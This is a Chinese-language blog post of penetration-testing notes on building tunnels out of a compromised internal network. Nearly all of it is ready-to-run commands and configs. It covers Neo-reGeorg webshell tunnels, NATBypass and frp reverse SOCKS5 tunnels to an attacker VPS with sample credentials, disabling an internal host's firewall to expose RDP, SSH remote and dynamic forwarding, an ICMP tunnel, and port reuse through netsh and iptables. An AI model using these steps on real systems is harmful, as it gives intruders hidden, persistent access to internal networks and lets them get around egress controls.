• [内网渗透]通道构建


    参考:

    https://www.secpulse.com/archives/134372.html

    https://3gstudent.github.io/%E6%B8%97%E9%80%8F%E5%9F%BA%E7%A1%80-%E7%AB%AF%E5%8F%A3%E8%BD%AC%E5%8F%91%E4%B8%8E%E4%BB%A3%E7%90%86

    HTTP正向代理

    https://github.com/L-codes/Neo-reGeorg

    $ python neoreg.py generate -k password
    
        [+] Create neoreg server files:
           => neoreg_servers/tunnel.jspx
           => neoreg_servers/tunnel_compatibility.jspx
           => neoreg_servers/tunnel.php
           => neoreg_servers/tunnel.ashx
           => neoreg_servers/tunnel.aspx
           => neoreg_servers/tunnel.jsp
           => neoreg_servers/tunnel_compatibility.jsp
    $ python3 neoreg.py -k password -u http://xx/tunnel.php
    +------------------------------------------------------------------------+
      Log Level set to [DEBUG]
      Starting socks server [127.0.0.1:1080]
      Tunnel at:
        http://xx/tunnel.php
    +------------------------------------------------------------------------+

    正向TCP端口转发

    这种情况一般是获得权限的公网Web服务器同时具有公网 ip 和内网 ip。

    https://github.com/cw1997/NATBypass/releases

    内网主机关防火墙,开3389

    web服务器执行

    nb -tran 1997 192.168.1.2:3389

    rdp连接web服务器的1997

    反向TCP端口转发

    vps执行

    nb -listen 338 2017

    内网主机执行

    nb -slave 127.0.0.1:3389 x.x.x.x:338

    rdp连接vps的2017端口

    关于端口转发的各种工具:https://3gstudent.github.io/%E6%B8%97%E9%80%8F%E5%9F%BA%E7%A1%80-%E7%AB%AF%E5%8F%A3%E8%BD%AC%E5%8F%91%E4%B8%8E%E4%BB%A3%E7%90%86

    正向socks5代理

    goproxy:go实现的高性能http,https,websocket,tcp,udp,socks5,ss代理服务器,支持正向代理、反向代理、透明代理、内网穿透、TCP/UDP端口映射、SSH中转

    https://github.com/snail007/goproxy/

    下载地址:

    https://github.com/snail007/goproxy/

    Transit server:

    proxy socks -t tcp -p "0.0.0.0:8888"

    Client使用代理工具连接Transit server的8888端口

    反向socks5代理

    frp下载地址:https://github.com/fatedier/frp

    使用:

    服务端配置文件 frps.ini

    [common]
    bind_addr = 0.0.0.0
    bind_port = 443
    
    protocol = tcp
    authentication_method = token
    token = qweqwe
    tls_only = true

    ./frps -c frps.ini

    客户端配置文件 frpc.ini

    [common]
    server_addr = vpsIP
    server_port = 443
    
    authentication_method = token
    token = qweqwe
    protocol = tcp
    tls_enable = true
    use_encryption = true
    use_compression = true
    
    [socks]
    remote_port = 80
    plugin = socks5
    plugin_user = admin
    plugin_passwd = qwe123

    ./frpc -c frpc.ini

    使用socks5代理软件连接vps的80端口,帐号是admin,密码是qwe123

    ssh加密隧道

    通过ssh实现的端口转发,ssh的流量是加密的

    内网环境

    ServerA:10.1.0.1(内网)

    ServerB:10.1.0.2(内网)

    ServerA执行:

    ssh -C -f -N -g -L 9906:10.1.0.2:3306 root@10.1.0.2

    执行之后会提示输入ServerB的root密码,输入之后就行了

    ServerA可以使用下面的命令访问ServerB的mysql

    mysql -h127.0.0.1 -P9906 -uroot

    公网环境:

    ServerA:9.9.9.9(公网)

    ServerB:10.1.0.2(内网)

    ServerB执行:

    ssh -C -f -N -g -R 9906:10.1.0.2:3306 root@9.9.9.9

    输入A的root密码即可

    ssh搭建socks5代理

    内网主机执行:

    ssh -C -f -N -g -D 7777 root@本机ip

     

    ICMP隧道

    适用于TCP不出网,ICMP出网的场景

    工具地址:https://github.com/esrrhs/pingtunnel

    vps上执行:

    ./frps -c frps.ini

    sudo ./pingtunnel -type server -noprint 1 -nolog 1

    内网主机执行:

    pingtunnel.exe -type client -l 127.0.0.1:9890 -s vpsIP -t vpsIP:socks代理端口 -tcp 1 -noprint 1 -nolog 1

    frpc.exe -c frpc.ini

    基于Web服务的正向端口复用

    工具地址:https://github.com/SapphicCode/protoplex

    ew正向代理:

    ew_for_Win.exe -s ssocksd -l 1080

    protoplex:

    protoplex_windows_amd64.exe --socks5 192.168.77.173:1080 --http 127.0.0.1:80 -b 192.168.77.173:9998

    端口转发:

    netsh interface portproxy add v4tov4 listenaddress=192.168.77.173 listenport=80 connectport=9998 connectaddress=192.168.77.173Linux: sudo iptables -t nat -A PREROUTING -p tcp -m tcp --dport 80 -j REDIRECT --to-ports 9998

    成功后访问目标80端口,网页正常,同时又能使用socks代理工具连接目标的80端口

     

  • 相关阅读:
    第二阶段冲刺04
    找水王
    第二阶段冲刺03
    第二阶段冲刺02
    第二阶段冲刺01
    学习进度12
    梦断代码阅读笔记07
    第一阶段意见评论
    学习进度11
    求素数p的原根
  • 原文地址:https://www.cnblogs.com/rnss/p/15357351.html
Copyright © 2020-2023  润新知